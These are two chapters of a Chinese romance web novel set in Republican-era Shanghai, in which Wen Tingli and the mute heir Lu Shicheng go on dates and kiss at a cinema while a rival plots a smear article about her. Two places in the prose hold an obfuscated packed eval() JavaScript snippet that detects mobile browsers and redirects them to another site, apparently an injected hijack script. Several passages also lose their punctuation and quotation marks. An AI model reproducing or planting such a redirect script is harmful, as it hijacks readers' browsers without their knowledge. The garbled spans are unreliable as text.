陆世澄眼疾手快,一把将闻亭丽拉到自己身后,可这也没挡住小孩的泥巴丢到她的裙摆上。 一件崭新的芽黄色旗袍立时脏污了一大块。 闻亭丽急得“哎呀一声。两个小孩见自己闯了祸,吓得一溜烟跑了。 闻亭丽又气又急,才第一次穿就搞成这样。 陆世澄把闻亭丽拉到身前打量,闻亭丽俯身用手帕急急擦着,结果越擦越脏。 “这可怎么办?远远看着沾了一大坨“粑粑 陆世澄镇定地想了想,忽然一指前方。 【你们在那边等我,我马上把车开过来。】 上车后,闻亭丽不免有点沮丧,她是打定主意今天要跟陆世澄吃晚饭的,现在这模样还怎么在街上走动?陆世澄大概是准备直接送她回家了,才四点多—— 难得今天玩得这样开心,她才不想这么早约会就结束了。 就听小桃子对着窗外说:“娃娃。 向外一看,原来不知不觉开到了外滩附近,前方是一条安静的马路,里面矗立着许多点着水晶灯的洋货店,小桃子指的正是某家高档洋服店的橱窗里的瓷器娃娃。 怎么绕到这边来了? 陆世澄将车停在街角,下车帮闻亭丽打开车门。 闻亭丽一头雾水牵着小桃子下车,洋服店里的店员大概一眼就看出了陆世澄是个有钱的主,竟 第 53 章 心有灵犀。 第53章心有灵犀。 陆世澄想了想,在本子上写给她看: 【明天晚上我要见宁波来的人,不过大概七点就能结束,要不我去你工作的地方找你。】 “那么,明天我请你去秀德中学附近吃罗宋餐,那里有一家俄国人开的馆子,面包做得比南京路的那几家都要好,还有沪江大学附近有一家广东菜馆味道比大名鼎鼎的新雅楼还要地道,真的,你尝尝就知道了。” 她每说一个地方,陆世澄就毫不犹豫点头。 “小桃子也要吃。”小桃子听得眼馋,强行插进来。 “好好好,也带上我们小桃子。” *** 当晚到家之后,小桃子因为太兴奋,不停地对周嫂咿咿哇哇描述白天在大世界游乐场玩的情形。 “陆先生开车车碰碰碰——姐姐和小桃子,把陆先生的车车,di,碰碰碰。” 又兴冲冲将陆世澄给她买的玩具和零食给周嫂看。 周嫂笑得合不拢嘴,一半是被小桃子颠三倒四的话给逗的,另一半是自打闻家出事后,已经许久不见姐妹俩这样尽兴了,她作为她们姐妹俩唯一的“亲人”,不免也跟着高兴。 小桃子一径拖着周嫂去闻亭丽的房间看那些新买的洋装。 “姐姐衣服脏了,陆先生带姐姐去买了好多新裙裙。” 周嫂听得一脸疑惑,闻亭丽闹了个大红脸,把周嫂拉出来让她在客厅的桌边坐下,又将晚上在康乐酒家打包回来的两盒点心摊开。 “这些都是给您的,您尝尝。” 周嫂有点无措:“外头的东西都贵得很,下次可别想着给我带了。” 闻亭丽夹起一块点心不容分说塞进周嫂嘴里,小桃子直拍手,周嫂含笑吃起来,边吃边逗小桃子。 “小桃子喜不喜欢陆先生?” 小桃子使劲点头。 “那你早上还对陆先生那样不礼貌?” 小桃子惭愧地嗬嗬笑着。闻亭丽今晚出奇地恬静,闻言也不搭腔,径直到后头去洗澡。 洗完澡出来,周嫂和小桃子都不在客厅了,只听见小桃子在里屋叽里呱啦说着什么,闻亭丽瞄瞄墙上的电话,没忍住拿起话筒。 她拨的是陆世澄房间的私人专线。 “陆公馆。请问贵姓?”并非陆世澄,是个中年男子的声音。 闻亭丽突然有点难为情,忙不迭挂断电话。 也许,陆世澄还没有到家……她这样告诉自己,刚回到房间,忽然听见铃声,又跑回客厅。 “闻小姐,澄少爷回来了。”仍是刚才那人,话声却添了几分恭敬,很快,话筒像是给了另一人。 闻亭丽的心啵啵直跳。 陆世澄将话筒夹在耳朵和右肩之间,就那样一边听电话一边脱外套。 他刚到家,衣服还没来及得换就听见许管事汇报有人打电话过来,许管事很纳闷地告诉他,电话明明都接通了,对方却一声不吭挂断了电话。 陆世澄听闻此话,立刻让许管事打到闻家去。 “你怎么知道刚才是我打的电话?”闻亭丽轻咳一声。 陆世澄松领带的动作一顿,那只是一种直觉,甚至不需要经过大脑的分析。 反正他知道是她。 他无声笑着,将领带解下来扔到床上。 闻亭丽也笑了,问他:“今天晚上你吃得好不好?” 尽管明知她看不到,他还是下意识点点头。 她好像有点怀疑。“可是今晚你只吃了一份牛排就说自己饱了……” 陆世澄瞟见床头柜上放着一杯新沏的茶,拿起茶盏边听边喝。 “是不是怕把我吃穷了?少瞧不起人,这点请人吃饭的钱我还是有的。” 陆世澄一笑,垂眸看向茶盏里的茶,那缃色的茶汤一漾一漾的,让他想起今晚闻亭丽坐在西洋壁灯下对着他扬眉说话的样子。 她说话时总是神采飞扬的,不论在什么场合,总是能让人一眼就注意力到她。 “要不——”短暂的沉默之后,闻亭丽再次兴致勃勃开了腔,“明晚我们吃完饭之后,再顺便去看场电影吧,剧组里的人都说那部电影相当好,可惜今天也没能看成……” 她说话的声调软软的,说完这话便屏息等待着。 陆世澄望望那件刚脱下的外套,那里头有两张电影票。 那是他刚才开车路过卡尔登电影院时下去买的,只因他想起今晚每路过一家电影院,闻亭丽就会情不自禁向窗外望望 ,一副很遗憾的样子。 “……你要是不反对,就敲敲墙壁或者房门给我听。闻亭丽说,“我明天一大早就去买票,这部戏最近热得很,再晚可就抢不到票了。 陆世澄一怔,下意识打开房门朝走廊上看了看。 闻亭丽半晌没听到敲房门的声音,心想,难不成陆世澄明晚没那么多时间?那就只有周末了,但周末有小桃子在场,电影是无论如何看不成的。 那边突然传来中年管事的声音。 “你不必买票,我已经买好票了。说话时一字一顿,俨然在念稿子,“票是晚上八点半的。 许管事手里的确拿着纸条,一边念,一边眨巴着绿豆眼看向陆世澄。 陆世澄示意他继续往下念。 “八点半会不会太晚?你觉得太晚的话,我再令人换一个你方便的时间。 闻亭丽错愕,结结巴巴说:“时间上刚好,那就……那就这样说定了,晚安。 陆世澄又迅速写了几个字递过去,许管事忙念道:“好,那你早些睡,晚安。 这边一挂断电话,闻亭丽便捂着嘴笑起来。 方才真吓她一跳。 亏陆世澄想得出来! 那些话由陆世澄一句一句写出来给她看,总有一种温柔尊重的感觉,但一经那位中年管事说出口,就说不出的别扭。 想来陆世澄也是没办法才想出这个法子。 他总得告诉她他已经买了票。 买票——陆世澄竟跟她想到一块儿去了。 闻亭丽会心地微笑着,回房熨起了洋装,又哼着歌将陆世澄给的大世界长券放到包里。 小桃子抱着新得的娃娃进来了,见状,一脸高兴跑到姐姐身边。 “小桃子还要去大世界,带上陆先生! “一定要带陆先生么? “一定要带。 “好吧,陆先生也是很乖的,带上他倒也不是不可以的。闻亭丽抵住小桃子的额头笑个不停。 收妥长券之后,她打开皮箱拿出一张大额银票。 今晚去康乐酒家的时候并不知这家菜价又涨了,以至于结账的时候差一点就没够数,还好她提前就请陆世澄带小桃子在外头等她,不然陆世 澄看着她一块一块数银元的样子,一定又会主动替她“垫上”的。 为了预防此类情况再度发生,闻亭丽决定平日里多备些钱在身上,当然,跟陆世澄送她的这些礼物比起来,一百顿饭也不算什么,但这至少是她的一种态度,就像她那晚送他的那支钢笔一样。 她自顾自在脑海中畅想了一番,把皮箱锁好塞回床下面,顺手把三把钥匙放到自己的书袋里。 小桃子好奇注视着姐姐的一举一动,闻亭丽回身把妹妹抱到床上帮她脱鞋。 “周嫂,小桃子的鞋好像有点挤脚了,礼拜四下午我早点回来,我们带小桃子去做几套新衣服新鞋。” 周嫂在外屋奇道:“你平日里这样忙,何必专门抽时间赶回来,何不礼拜天出去玩的时候顺便给小子做衣裳买鞋。” 忽又想起陆世澄一贯的为人,有他在场,势必不会让小姐花钱。 还是小姐想得周到。 她忙笑着说:“知道了。” *** 这边电话都挂断十来分钟了,许管事还在跟陆世澄大眼瞪小眼。 陆世澄沉默着。 许管事隐约觉得陆世澄有点不痛快,但这事委实不能怪他。 是澄少爷自己突然把他叫进来替自己传话的。 如今话也传到位了,澄少爷却好像不太开心,这让他心里不禁十分忐忑。 过半晌,许管事小心翼翼开了腔:“少爷是不是嫌我对闻小姐说话语气太生硬了些?” 陆世澄抬眸看他。 许管事懊恼地搓搓手,其实他自己也有点察觉,比如那句“你不必买票”若是换澄少爷自己来说,自是另一种味道,换他来硬梆梆地转述,活像是在命令人。 他有点委屈:“我也是第一次干这个活,大不了我下次对闻小姐说话再温和一些。” 陆世澄闭了闭眼,不会再有下次了,今晚他才知道,有些话是断乎不能由别人代传的,一传就变得怪怪的。 他神色缓了缓。 【谢主任不是说凯琳博士已经把治疗方案拟好了?】 “没错,今晚路易斯大夫打过电话,说这次情况有点特殊,一是要用到凯琳博士自己的几个私人设备,而这些设备不方便挪来挪去,二是治疗涉及到三个临床科 室,人员调动起来不太方便,所以可能需要澄少爷每天下午专门抽出两个钟头去红十字会医院接受治疗,再就是路易斯大夫可能得在陆公馆住些日子,方便随时记录澄少爷的情况。邝先生只说澄少爷今日太忙,还在跟几位大夫商量呢——” 【帮我给路易斯回个话,明天下午正式开始治疗。】 许管事愣了愣,这么快?“可是,明天澄少爷还要去日新船舶厂。” 陆世澄指了指电话,许管事忙改口道:“我立刻给路易斯大夫回话。” *** 闻亭丽早上一下楼,就有人过来把一封信交给她。 “陆先生让转交闻小姐的。” 打开信封一看,是两张电影票,明晚八点半的场子,订的是楼上优等座(注)。 闻亭丽努力不让自己露出太开心的神色,只对那人说:“谢谢。” 她在路边招了一辆黄包车,一上车就忍不住拿出电影票细看,边看边笑。 黄包车车夫几次回头看闻亭丽。 “瞧什么?”闻亭丽用一双清凌凌的眼睛瞅着他。 “怎么这样高兴啦,小姑娘中彩券了?”(注) “比中彩券还要好。” 今天是礼拜一,黄金影业公司照例会开照会,闻亭丽虽然还不算该公司的职员,但为了跟剧组的人混个脸熟,几乎每次都来。 进公司第一件事就是去总经理办公室找黄远山,结果还在走廊上就听到里头有人在吵架,闻亭丽正犹豫要不要转身离开,房门被人从里面猛地拽开。 “我偏要用他/她!”是一脸怒容的黄远山。 闻亭丽来不及撤脚,只得硬着头皮打招呼:“黄姐。” 房门仍大开着,一眼就瞥见办公室里坐着几位公司的几位元老,上首则是两位衣着阔绰的中年男子。 黄远山顺手把门一关,凶巴巴地说:“你不在剧组学习,跑这来做什么? 闻亭丽一头雾水:“摄影棚也没开门不是,今天是礼拜一,上午全公司都要开照会。” “不开了!不开了!”黄远山甩甩手,“统统给我回剧组干活去,你也去!新人就该天天在棚里耗着,没事到处乱晃什么!” 闻亭丽心知黄远山正在气头上,并不与她分辩什么,只嘟了 嘟嘴说:“那我走了。 黄远山在后头叫住她。 “开机前还得试一次镜,你这两天给我认真琢磨剧本,后天上午早些来公司。 闻亭丽愈发纳罕,不是都定好她是主演了么?怎么又要试镜? 她心头掠过一丝不安,回头望去,黄远山竟是一脸愁容的样子,心知直接问势必又碰一鼻子灰,干脆另起题目。 “对了,黄姐,向您打听一个人,陆家晚宴那回,在你边上跟你说话的短发女人是谁? 这回轮到黄远山一头雾水了。 “脸圆圆的,年纪大约三十多,穿一套菊青色的裤装。闻亭丽细细形容道。 黄远山脸色一缓:“噢,是月照云,怎么了? 闻亭丽愣住:“名笔月照云?写《南国佳人》的那位?昨天我带小桃子去大世界玩,看到她在一个人在玩碰碰车,玩得可开心了。 黄远山闷笑:“不奇怪,这正是她干得出来的事。 “月照云是为了《南国佳人》开拍专门来上海的吗? 黄远山点头。 闻亭丽作出惊讶的样子:“居然把原作家也请来了!公司是不是特别重视这部戏? “怎能不重视,要知道—— 回去的路上,闻亭丽一肚子疑问。她认识黄远山也算久了,从未见过她这副吃枪药的样子。她隐约觉得这事跟她有关,偏偏又打听不出什么。 当天在棚里工作倒还算顺利,只是礼拜一大家好像都有点提不起劲,傍晚时几个剧组陆续收了工,只有《时间的沙》剧组还在赶拍。 原因是男主演邓天星下午又迟到了。 闻亭丽听人说,邓天星最近之所以频频迟到,是因为他在猛追烟土大王罗坤龙的千金罗殊红。 罗殊红虽是富家小姐,却对演戏相当感兴趣,她父亲为了满足她的梦想,曾出资让她拍过一部《春江愁》,可惜罗小姐演技平平,上映后票房惨淡。罗父拒绝再陪女儿胡闹,罗殊红却不甘心就这样退出电影圈,最近经常在各类戏中担任配角,听说演技有< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589336|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 了很大长进,现在只差一部出彩的主角戏就能立稳脚跟了。 邓天星只见了罗殊红一面便对她展开了热烈的追求,但上海滩追求罗小姐的男子不知凡几,邓天星在其中实在不算出众,今天他大约是又在罗殊红处碰了一鼻子灰,来的时候黑着一张脸。 换作平日,闻亭丽会留下来继续学习,可她一想到那晚邓天星等人诋毁她和孟麒光关系的话就怒火中烧,不当面啐邓天星一顿已是好的,更别提跟这个讨厌鬼学表演了。 她痛痛快快收了工,冲完凉换好衣服出来,忽听到隔壁化妆间有人在打电话。 “殊红,你都不给我机会,怎知我待你不是真心?”是邓天星的声音。 闻亭丽暗翻白眼。 邓天星低笑道:“我当然有办法证明我的真心……红,有句话叫投其所好,我知道你是个有事业心的女子,你放心,再等几日你就知道我要送你的礼物是什么了!到那时候我不求你多看我一眼,只要你明白我待你是一腔痴情就满足了。” 闻亭丽抖了抖身上的鸡皮疙瘩,邓天星是出了名的花花公子,这样的话他都不知道对多少个女人说过了,希望罗殊红小姐千万别上他的当。 下到一楼,邓天星的声音从楼上传来:“哟,这位不是闻小姐吗?你不是一向最能吃苦耐劳吗,怎么今天这样早就走了,听说你又交有钱男朋友啦。” 闻亭丽简直不能理解邓天星对她的敌意为何这样深,单是为着孟麒光那层关系,好像不至于到这一步。 若是回头反驳他几句,邓天星说不定趁势闹起来,一旦事情传出去,对她的名声只有坏处,毕竟邓天星是前辈,而她是一个名不见经传的新人。 于是只恶狠狠剜了邓天星一眼,转头便要离开。 刚下楼梯,她脑中闪过一个念头——等等。 邓天星看上去不疯不傻,为人处世甚至称得上“滑头”二字,否则他也不会在竞争如此激烈的电影行业崭露头角。 对于一个心智正常的成年人来说,往往只有在牵扯到自身的利益时,才会主动树敌。 可她自问与邓天星并无利益上的冲突,首先,他们并非同一部戏的演员,其次,他是男演员,她是女演员,在戏源方面并无撞型之嫌。 可是邓天星却一上 来就对她充满敌意。 她越想越觉得这其中有问题站定扭过头朝邓天星离去的方向投去意味深长的一瞥。 真相永远不会只浮在表面或许她该请厉姐帮自己好好调查一下邓天星的背景了。厉姐人脉广、行动速度也快有她帮忙不愁不能查清楚邓天星葫芦里究竟在卖什么药。 到门口迎面吹来阵阵凉爽的晚风心头的坏情绪顷刻间一扫而空。闻亭丽抬头对着马路粲然一笑充满期待地看向路边那株梧桐树树下并没有像上回那样停着陆世澄的车说好了七点钟来找她现在才六点钟。周围都是剧组的熟人不如去四川馆子坐着等吧。 咦 *** 凯琳博士等人陪着陆世澄从治疗室出来时邝志林已在走廊上等候多时他一脸希冀近前问道:“怎样?治疗顺利吗?” 陆世澄神色宁静。 邝志林忙笑道:“哪有第一次治疗就见效的是我太心急了凯琳博士、谢主任、路易斯辛苦你们了。” 几位大夫围着陆世澄交代了几句陆世澄和邝志林告辞出来。 陆世澄看看邝志林手里的公文包突然止步。 【那天让你查一个名叫邓天星的演员查到什么了吗?】 邝志林取出一份文稿“先看看这个这是昨天傍晚一位匿名者寄到报社的。” 只见标题写着: 交际花闻亭丽小姐即将出演黄金影业公司的重头戏《南国佳人》。 【……该戏由知名文艺片导演黄远山执导剧本则由北平名笔月照云女士亲自操刀以闻小姐的粗浅资历本是无法担此大梁的可是据知情人士透露这位闻小姐十分擅长利用姿色为自己谋取资源……她本是一个裁缝的女儿念中学时就大交男朋友没多久便成功地由秀德女子中学转去更好的务实女子中学念书后来参加选美比赛更是一路过五关斩六将夺得桂冠几位同期参赛的选手都说闻小姐的票数是一夜之间涨上来的相当有猫腻而此次出演女主角便是因为闻小姐故技重施黄金影业有内部消息传出闻小姐能够担任这部优质影片的主角少不了她那些男朋友的襄助……】 不等将整篇文章看完陆世澄的脸色 便已难看到了极点。 邝志林担忧地说:“此事一经造成影响,闻小姐就再也摆脱不了‘交际花’的名头了。《大江报》和《沪城晚报》的几位老板一向消息灵通,他们大概知道闻小姐跟澄少爷很熟,便自作主张将这篇文章按下了,下午特意让人将样稿转送到我的办公室,征询我们的意见。你看,后头还附有不少照片。 第一页便是闻亭丽参选“沪上之花比赛时的照片。 陆世澄面无表情。【查清楚是谁做的了吗?】 “是个匿名者。想必已暗中调查闻小姐不少时日,提供的资料十分详尽,文章中绝口不提陆家,只在闻小姐一人头上做文章,这就能确保报社不会因为顾忌陆家而不敢刊登。大报社也就罢了,小报社见了这样内容丰富的原稿,准会按耐不住刊登出来的,大不了日后再登报道歉,横竖先促进一波销量再说——闻小姐最近是不是得罪过什么人? 陆世澄目光落在文章的《南国佳人》几个字上。 “会不会跟白龙帮有关?邝志林在旁分析道,“他们不敢动陆家,便拿闻小姐开刀。可是……曹帮主最近忙着跟陆三爷拆伙,邱大鹏一来失去了曹帮主的信任,二来忙着替他那重伤的儿子治病,照理都腾不出手来。 陆世澄一指文稿。 【不如先查查这部戏的背景。】 “《南国佳人》?邝志林暗吃一惊,“澄少爷是说—— 陆世澄沉吟,如果他没记错,早在上个月闻亭丽就跟他提过她的戏马上就要开拍了,可是那之后再无下文,既是黄金影业的重头戏,不会无缘无故耽误这么久,多半是某个环节遇到了阻力。 这当口陷害闻亭丽,最大的受益人将会是谁——一查不就知道了。 邝志林若有所思颔首:“我明白了。此事要不要让闻小姐知道? 陆世澄将文稿揉成一团,等他查到是谁要再告诉闻亭丽吧,不然只会白白让她心烦。 【你派人核实一下今早都有哪些报社收到了这篇文章,务必将其一一截住,但凡有一条漏网之鱼,谣言明早便会见报,那就不可挽回了,尽快吧,我在此处等你,还有,那个邓天星,别忘了着人调查他的底细。】 *** 闻亭丽托腮望着街道。 第 54 章 吻。 第54章吻。 陆世澄的眼眉上沾满了雨丝。 【抱歉,我迟到了。】 闻亭丽一下子没掩住嘴边的笑容:“没关系,快请坐,老板,我们这桌可以上菜了。” 见陆世澄的肩上湿了好大一块,便将自己的帕子也递给他擦雨。 “你还没告诉我呢,怎么淋成这样?” 【怕你藏在剧组门口的某个角落躲雨,所以下车找了你一圈。】 闻亭丽心中又甜又暖,忙拿起桌上的茶壶斟一杯热茶递给他。 “先喝点热的散散寒气,你可是从来不迟到的,是不是临时出了什么事?” 【嗯,有点麻烦事,不过已经处理好了。】陆世澄若无其事喝茶。 闻亭丽强忍着没再追问,就像陆世澄也从不对她的事打破沙锅问到底一样。 “我这人是很公平的。”她秀眉一挑,“迟到就要挨罚,按照我的规矩,逢年过节势必要罚酒,今天既非节又非年的,那就委屈你多吃几盘菜吧。” 陆世澄笑着点点头,从她手中接过菜单。 这顿饭吃得舒心无比。两个人都饿坏了,点的一堆菜几乎全吃光了。 结账的时候闻亭丽再一次抢着付款。 陆世澄看菜价还算便宜,也就没拐着弯地找借口帮她付账。 但他仍担忧地望了望闻亭丽的皮夹子。 闻亭丽噗呲一笑:“瞧什么,我有钱,你别忘了我在拍戏,黄姐给我的报酬是这个数!” 她甜丝丝地对陆世澄做了个手势。 两个人并肩向外走,雨不知何时停了,空气里有一种湿润的泥土腥味。 陆世澄想了想。 【你很想演这部戏?】 “当然。”闻亭丽说,“其实一开始我是不太想演的,可是黄姐来学校找了我好几次,她说我太适合这个角色了,我拿到剧本之后本来有些犹豫,毕竟这部戏讲的是一个女学生是如何堕落成妓-女的,你也知道社会风气有多么封建和保守,我有点担心演了这种角色后会给自己带来一些不好的影响,于是就去请教——” 闻亭丽的话声戛然而止,两个人相处久了,许多过去不便说的事,自然而然就脱口而出了。 她差一点就忘了她一向在人前装作跟邓院长不认识的。 所有的秘密都可以对陆世澄说唯独邓院长的事不能说毕竟邓院长的身后还有厉成英等人。 当初她答应过她老人家的。 她忙改口说:“我就去——请教学校里的老师 对于她的突然改口陆世澄似乎并没有起疑。 【你们公司还有哪些人想演这部戏?】他继续刚才的话题。 闻亭丽心中一动今晚的陆世澄像是对她演戏的事特别感兴趣。 “这我就不清楚了不过黄姐倒是说过公司也曾考虑过让更成熟的演员来演但找来找去要么年纪不太符合要么就是气质不太对而她又是个典型的完美主义者所以这个剧本就一直搁置着直到她在我同学家里又一次见到我。” 这个所谓的同学自然就是乔杏初的妹妹乔宝心了。 话说起来她正是在乔家跟黄远山正式结识的。 而她第一次跟陆世澄相遇其实也是在乔家那一晚她被乔家人一步步逼到了死角为了逃离那万分狼狈的境地她几乎是飞一般地向外跑结果撞到了门口的陆世澄。 那一下撞得非常重。 可是陆世澄非但没见怪反而替她将发卡捡起来递给她。 他应该是异常敏锐的说不定当场就察觉出她情绪上的不对劲。那种沉默的体谅在她心里留下了极深的印象。 “总之黄姐说这个角色简直就是为我量身打造的。”闻亭丽重新扬起笑脸“没多久我们就愉快地签合同啦。” 谈话当中她巧妙地避开了“乔家”这两个字。这是专属于他们两个人的夜晚她不想被任何糟心的人和事破坏氛围。 陆世澄并不知道闻亭丽是这样想他只是隐约感到她不想继续这个话题想了一下很体谅地顺着她的意思换了个话题。 他停下来看看腕表。 闻亭丽把脑袋凑过来:“几点了?” 陆世澄把手表放低一些方便她看。 “呀都这么晚了我们快走吧。” 一到卡尔登影院的门 口,闻亭丽就像只蜜蜂一样忙活起来。 “我们买两瓶汽水再进去,噫,烘山芋的出来了,走,去那边瞧瞧。” 陆世澄从来不知道看电影之前还需要准备这么多东西,好奇地陪着闻亭丽转来转去,尽管闻亭丽问得多买得少,但一圈兜下来,他怀里还是多了一大堆吃的。 闻亭丽还要去看爆米花,陆世澄不得已将她拦住。 【要迟到了。】 入场的时候,闻亭丽讪讪说:“其实我不算买得多的了,你知道我们同学燕珍珍吧,每次跟她看电影,她买的东西还要多呢,再说万一看电影的时候渴了,不好临时出来买的。” 陆世澄一本正经点头。闻亭丽忍俊不禁。两人刚找到位置坐下,电影就开始了。 这可是两个人第一次看电影,闻亭丽在期待之余,还有一种异样的心情,看看四周,场内几乎座无虚席,一圈看下来,只有后排还空着三个位置,电影马上要开演了,这几人也不知还来不来。 闻亭丽心里当然是盼着对方不来的,回脸悄悄看陆世澄,他正认真看字幕上的演员表。 光线映照在他的瞳孔上,一忽儿明一忽儿暗。 大约是察觉了她的注视,陆世澄并未回视她,而是从她手里接过那瓶半天没能拧开的汽水,帮她打开后重新递给她。 闻亭丽腼腆地喝了几口,转头专心看电影,过了会,电影里的女主角跟母亲失散了,观众席上发出此起彼伏的抽泣声,闻亭丽也忍不住找帕子擦眼角,这一动,不小心将腿上的一包吃的弄到座位下面,忙弯腰去找,陆世澄察觉,也俯身帮她捡。 闻亭丽一抬头,正好重重撞上了陆世澄的脸。 陆世澄一声不吭捂住自己的鼻梁。 闻亭丽也不敢开口说话,只焦急地凑前察看。 陆世澄继续捂着口鼻,无声笑着摇摇头,同时把自己的脸尽量向后仰。 闻亭丽哪肯罢休,陆世澄刚才分明一下子痛懵了,她扳住他的手指,非要看。 在这种幽暗的环境中,人的胆量本来应该小些,但换成是电影院这种场合,越暗,反而越能给人壮胆,尤其是恋爱中的年轻男女,脸皮总要比平日厚一些,闻亭丽就是如此,她怀疑自己是因为太过担忧而忘记了害羞,殊不知是因为四 周光线够暗才敢这样。 陆世澄被她夹缠不过,只好松开了自己的手让她检视。 借着荧幕上投过来的一片光,闻亭丽睁大眼睛细细瞧,他的鼻子没出血,但下嘴唇磕破了一点皮。 闻亭丽忙用手帕帮他擦。 陆世澄本能地缩了一下,随即对她摇摇头,表示自己一点也不痛,闻亭丽坚持扳正他的脸小心翼翼帮他擦。 擦着擦着,闻亭丽的动作骤然变缓了,只听见某处在隆隆作响,是心跳声,可她分不清是自己的心跳还是陆世澄的心跳,因为两个人的距离太近了。 闻亭丽机械性地重复着刚才的动作,他的嘴唇形状很好看,被她轻轻地按住,一半的唇连同伤口一齐被帕子挡住了,她再松开手,雪白的帕子下露出他的唇角。 那微不可见的一点点血红,配上他耐看的脸庞,别有一种动人心魂的吸引力。 她脑子里恍恍惚惚的,刚开始的确只是单纯地想察看他的伤口,现在这情形却有种骑虎难下之感——她看上去竟像是在诱惑他。 也许,陆世澄并不会这样想,但是,在这样一种亲密的环境中,这样短的距离内,一切都透着强烈的暧昧气息。 可若是突然缩回手,无疑承认自己正心猿意马。荧幕上的男女在演什么闻亭丽已经完全不关心了,她的视线只在陆世澄的嘴唇上打转,渐渐她感觉到他拂在她手背上的气息越来越烫,像是能烫到她的心窝里去,终于,她大胆地抬眸。 陆世澄的视线并非落在她的手上,也不在她的脸上。 而是落在她的唇上,牢牢地凝在那里。 闻亭丽只觉得耳热心跳,随着她抬眸,他的眸光并未闪退半分,看起来,他的理性正在飞快消失,眼神很暗,眸光里像藏着无形的漩涡,能将人的心魂全部摄走。 这样的陆世澄,异乎寻常的漂亮,也异乎寻常的危险,她有一种预感,只要她闭上眼睛,或是再贴过去几分,她和他之间一定会发生一点什么。 要不要顺着自己的心愿来鼓励他? 她不想假装什么。 她立刻就下定了决心,睫毛轻颤了下,把自己的脸蛋靠过去,这当然比直接闭上眼睛要含蓄许多,但也是一种鼓励,因为他只要一低头就能吻住她。 他果 然握住了她的手腕,将她的帕子从自己的嘴角扯下来,他的动作很轻,却没有半分迟疑,蓦然间,他的气息拂过她的鼻尖,闻亭丽感觉自己就像一朵风中乱颤的蔷薇花,而那缕撩动她枝叶的清风就是陆世澄。 他低头吻住了她。 这种感觉就像是触电。电流从唇瓣一直打进她的心尖。他的气息,他的嘴唇,他皮肤的温度,那是一种致命的吸引力,真让人沉沦,可惜他跟她一样生疏,有时候牙齿会磕一下,有时候鼻梁会撞在一起。 吻了一会,他忍不住松开她的唇,抵住她的额头望进她的眼睛里,眼神幽幽的。 这时,只听后面发出窸窸窣窣的声响,有人低声朝后排走来。 “还好没开演多久。 “嘘嘘,小点声。 是后排的三个人来了。 两个人飞速分开,闻亭丽的脸火辣辣的,陆世澄没比她好到哪儿去,余光看见他放在座椅扶手上的那只手一会儿松开,一会儿握紧,过几秒才沉静地定在那里不动。 闻亭丽一直在冒汗,心脏怦怦怦跳个不停,这情形简直像在浴池里蒸汗,很快她又发现一个更糟糕的事实,后排传来的声音竟十分耳熟。 那三个走过来的女孩正努力地压低嗓门说话,但她立刻听出其中一个是燕珍珍,紧接着,又辨认出赵青萝和高筱文的声音。 好不容易捱到散场,闻亭丽小声对陆世澄说:“后头是我同学,要不我们从那边走。 陆世澄一向机敏,闻言并未回头看,而是立即拉着闻亭丽从另一头离开,闻亭丽的肩膀却突然被人拍了一下。 “哈哈,我就说前排的人是你!是高筱文。 赵青萝和燕珍珍也笑嘻嘻凑过来。 “你跑什么?怕我们吃了你? 闻亭丽飞快瞥一眼陆世澄,也不知是不是亲吻过的缘故,他嘴上本来只是小擦伤,陡然间变得更明显了。 她祈祷朋友们别注意到他的嘴唇,陆世澄大约是觉得太过遮掩反而更引人注目,索性坦然地停下脚步,只是稍稍将脸对着另一边,幸而高筱文等人也不好意思盯着陆世澄的脸一直看。 “前几天约你看电影你说没空,怎么今天就有空了。三人对闻亭丽挤眉弄眼。 闻亭丽含恨掐 了高筱文一把,结果一个没绷住,自己先笑了。 几人从电影院出来,夜晚的马路跟白日一样繁华, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589337|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩子们叽叽喳喳在前头走,陆世澄插着裤兜跟在她们后面。路边有许多小贩在那里叫卖,路过汤圆小摊时,燕珍珍建议一人来一碗,高筱文和赵青萝有点不好意思,便主动将其中一碗捧到陆世澄面前。 陆世澄没吃,却自觉从上衣口袋里掏出皮夹子替她们付账。 后来几个人买橘子,又是陆世澄付的帐。这一来,三人当中最爱捣乱的高筱文都不好意思再闹下去,她眨巴着眼睛对闻亭丽说:“换作是我哥,无故被人搅乱自己跟女朋友的约会,早就想办法把我们轰走了。 “人家这叫尊重自己的女朋友。 高筱文罕见地露出踟蹰的神色:“唉?我忘了。 闻亭丽心里只是疑惑,赵青萝问闻亭丽:“过几天你过生日,你还有没有空跟我们一起过? 这话声音不小,陆世澄本来自管自站在一旁看着对面的街景,听见这话,朝闻亭丽望望。 “你们怎么知道我要过生日了? “前几天你不是让燕珍珍帮你去学校领毕业证吗,你的生辰那一栏写着农历八月初一,可不就是下礼拜。 闻亭丽甜笑:“让我想想——反正到时候我们好好聚一聚。 “这还差不多!高筱文非说你准不会跟我们一起过生日的。 “好啦好啦,你们别问东问西了。高筱文扯着燕珍珍和赵青萝向一边走,“再横在人家中间不走,就算陆公子不吭声,闻亭丽可要大大地发火了。 闻亭丽作势要揪高筱文的嘴,三人早笑着跑了。 直到陆世澄开车把她送到她家楼下,闻亭丽仍捧着自己的脸发愣,吹了这一路的夜风,也没让她腮上的热度减退一点。 在那黑暗的电影院,一切都是由她起的头,她先掉的东西,她撞他的嘴,她执意要帮他擦血…… 血——她如梦初醒。 